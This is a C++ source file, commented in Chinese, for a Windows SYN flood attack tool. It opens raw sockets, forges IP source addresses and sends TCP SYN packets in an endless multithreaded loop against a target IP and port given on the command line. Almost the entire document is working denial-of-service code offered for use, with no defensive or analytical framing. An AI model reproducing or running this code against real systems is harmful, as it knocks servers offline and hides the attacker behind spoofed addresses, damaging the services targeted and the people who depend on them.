123.cpp

洪水攻击器源代码

#include <winsock2.h>
#include <Ws2tcpip.h> 
#include <stdio.h>

#pragma comment(lib,"ws2_32.lib")
#define SEQ 0x28376839

int threadnum,maxthread,port;
char *DestIP;//目标IP

void display(void)  // 定义状态提示函数 
{ 
       static int play=0;
// 进度条 
char *plays[12]= 
{ 
" | ", 
" / ", 
" - ", 
" \\ ",
" | ", 
" / ", 
" - ", 
" \\ ", 
" | ", 
" / ", 
" - ", 
" \\ ", 
}; 

printf("=%s= %d threads \r", plays[play],threadnum);
play=(play==11)?0:play+1;
} 

//定义一个tcphdr结构来存放TCP首部
typedef struct tcphdr
{
       USHORT th_sport;//16位源端口号
       USHORT th_dport;//16位目的端口号
       unsigned int th_seq;//32位序列号
       unsigned int th_ack;//32位确认号
       unsigned char th_lenres;//4位首部长度+6位保留字中的4位
       unsigned char th_flag;////6位标志位
       USHORT th_win;//16位窗口大小
       USHORT th_sum;//16位效验和
       USHORT th_urp;//16位紧急数据偏移量
}TCP_HEADER; 

//定义一个iphdr来存放IP首部
typedef struct iphdr//ip首部
{
        unsigned char h_verlen;//4位手部长度，和4位IP版本号
        unsigned char tos;//8位类型服务
        unsigned short total_len;//16位总长度
        unsigned short ident;//16位标志
        unsigned short frag_and_flags;//3位标志位（如SYN,ACK,等等)
        unsigned char ttl;//8位生存时间
        unsigned char proto;//8位协议
        unsigned short checksum;//ip手部效验和
        unsigned int sourceIP;//伪造IP地址
        unsigned int destIP;//攻击的ip地址
}IP_HEADER;

//TCP伪首部，用于进行TCP效验和的计算，保证TCP效验的有效性
struct
{
       unsigned long saddr;//源地址
       unsigned long daddr;//目的地址
       char mbz;//置空
       char ptcl;//协议类型
       unsigned short tcpl;//TCP长度
}PSD_HEADER; 

//计算效验和函数，先把IP首部的效验和字段设为0(IP_HEADER.checksum=0)
//然后计算整个IP首部的二进制反码的和。
USHORT checksum(USHORT *buffer, int size)
{
       unsigned long cksum=0;
       while(size >1) {
              cksum+=*buffer++;
              size-=sizeof(USHORT);
       }
       if(size) cksum+=*(UCHAR*)buffer;
       cksum=(cksum >> 16)+(cksum&0xffff);
       cksum+=(cksum >>16);
       return (USHORT)(~cksum); 
}

DWORD WINAPI SynfloodThread(LPVOID lp)//synflood线程函数
{

SOCKET  sock =NULL;
int ErrorCode=0,flag=true,TimeOut=2000,FakeIpNet,FakeIpHost,dataSize=0,SendSEQ=0;
struct sockaddr_in sockAddr;
TCP_HEADER  tcpheader;
IP_HEADER   ipheader;
char        sendBuf[128];

       sock=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED);
       if(sock==INVALID_SOCKET)
       {
              printf("Socket failed: %d\n",WSAGetLastError());
       return 0;
       }

       //设置IP_HDRINCL以便自己填充IP首部
       ErrorCode=setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));
       if(ErrorCode==SOCKET_ERROR)
       {
               printf("Set sockopt failed: %d\n",WSAGetLastError());
       return 0;
       }
       //设置发送超时
       ErrorCode=setsockopt(sock,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));
       if(ErrorCode==SOCKET_ERROR)
       {
               printf("Set sockopt time out failed: %d\n",WSAGetLastError());
       return 0;
       }
    //设置目标地址
       memset(&sockAddr,0,sizeof(sockAddr));
       sockAddr.sin_family=AF_INET;
       sockAddr.sin_addr.s_addr =inet_addr(DestIP);
       FakeIpNet=inet_addr(DestIP);
       FakeIpHost=ntohl(FakeIpNet);
    //填充IP首部
       ipheader.h_verlen=(4<<4 | sizeof(IP_HEADER)/sizeof(unsigned long));
       ipheader.total_len = htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER));
       ipheader.ident = 1;
       ipheader.frag_and_flags = 0;
       ipheader.ttl = 128;
       ipheader.proto = IPPROTO_TCP;
       ipheader.checksum =0;
       ipheader.sourceIP = htonl(FakeIpHost+SendSEQ);
       ipheader.destIP = inet_addr(DestIP);
    //填充TCP首部
       tcpheader.th_dport=htons(port);
       tcpheader.th_sport = htons(8080);
       tcpheader.th_seq = htonl(SEQ+SendSEQ);
       tcpheader.th_ack = 0;
       tcpheader.th_lenres =(sizeof(TCP_HEADER)/4<<4|0);
       tcpheader.th_flag = 2;
       tcpheader.th_win = htons(16384);
       tcpheader.th_urp = 0;
       tcpheader.th_sum = 0;

       PSD_HEADER.saddr=ipheader.sourceIP;
       PSD_HEADER.daddr=ipheader.destIP;
       PSD_HEADER.mbz=0; 
       PSD_HEADER.ptcl=IPPROTO_TCP;
       PSD_HEADER.tcpl=htons(sizeof(tcpheader));

       for(;;)
       {
              
              SendSEQ=(SendSEQ==65536)?1:SendSEQ+1;
              ipheader.checksum =0;
              ipheader.sourceIP = htonl(FakeIpHost+SendSEQ);
              tcpheader.th_seq = htonl(SEQ+SendSEQ);
              tcpheader.th_sport = htons(SendSEQ);
              tcpheader.th_sum = 0;
              PSD_HEADER.saddr=ipheader.sourceIP;
              //把TCP伪首部和TCP首部复制到同一缓冲区并计算TCP效验和
              memcpy(sendBuf,&PSD_HEADER,sizeof(PSD_HEADER));
              memcpy(sendBuf+sizeof(PSD_HEADER),&tcpheader,sizeof(tcpheader));
              tcpheader.th_sum=checksum((USHORT *)sendBuf,sizeof(PSD_HEADER)+sizeof(tcpheader));

              memcpy(sendBuf,&ipheader,sizeof(ipheader));
              memcpy(sendBuf+sizeof(ipheader),&tcpheader,sizeof(tcpheader));
              memset(sendBuf+sizeof(ipheader)+sizeof(tcpheader),0,4);
              dataSize=sizeof(ipheader)+sizeof(tcpheader);
              ipheader.checksum=checksum((USHORT *)sendBuf,dataSize);
              memcpy(sendBuf,&ipheader,sizeof(ipheader));

              sendto(sock,sendBuf,dataSize,0,(struct sockaddr*) &sockAddr,sizeof(sockAddr));
           display();
   
       
       }//end for
    Sleep(20);
    InterlockedExchangeAdd((long *)&threadnum,-1);

       return 0;
}

void usage(char *name)
{
printf("\t===================SYN Flood======================\n");
printf("\t==========[e-mail]     2004/7/6========\n");
printf("\tusage: %s [dest_IP] [port] [thread]\n",name);
printf("\tExample: %s 192.168.1.1 80 100\n",name);
}

int main(int argc,char* argv[])
{
    
       if(argc!=4)
       {
       
              usage(argv[0]);
              return 0;
       }
       usage(argv[1]);

       int ErrorCode=0;
       DestIP=argv[1];//取得目标主机IP
       port=atoi(argv[2]);//取得目标端口号
       maxthread=(maxthread>100)?100:atoi(argv[3]);
       //如果线程数大于100则把线程数设置为100

       WSADATA wsaData;

       if((ErrorCode=WSAStartup(MAKEWORD(2,2),&wsaData))!=0){
               printf("WSAStartup failed: %d\n",ErrorCode); 
               return 0;
       }



       printf("[start]...........\nPress any key to stop!\n");

       while(threadnum<maxthread)//循环创建线程
       {
    if(CreateThread(NULL,0,SynfloodThread,0,0,0))
       {
              Sleep(10);
           threadnum++;
       }
       }
       WSACleanup();
       printf("\n[Stopd]...........\n");
       
       return 0;
}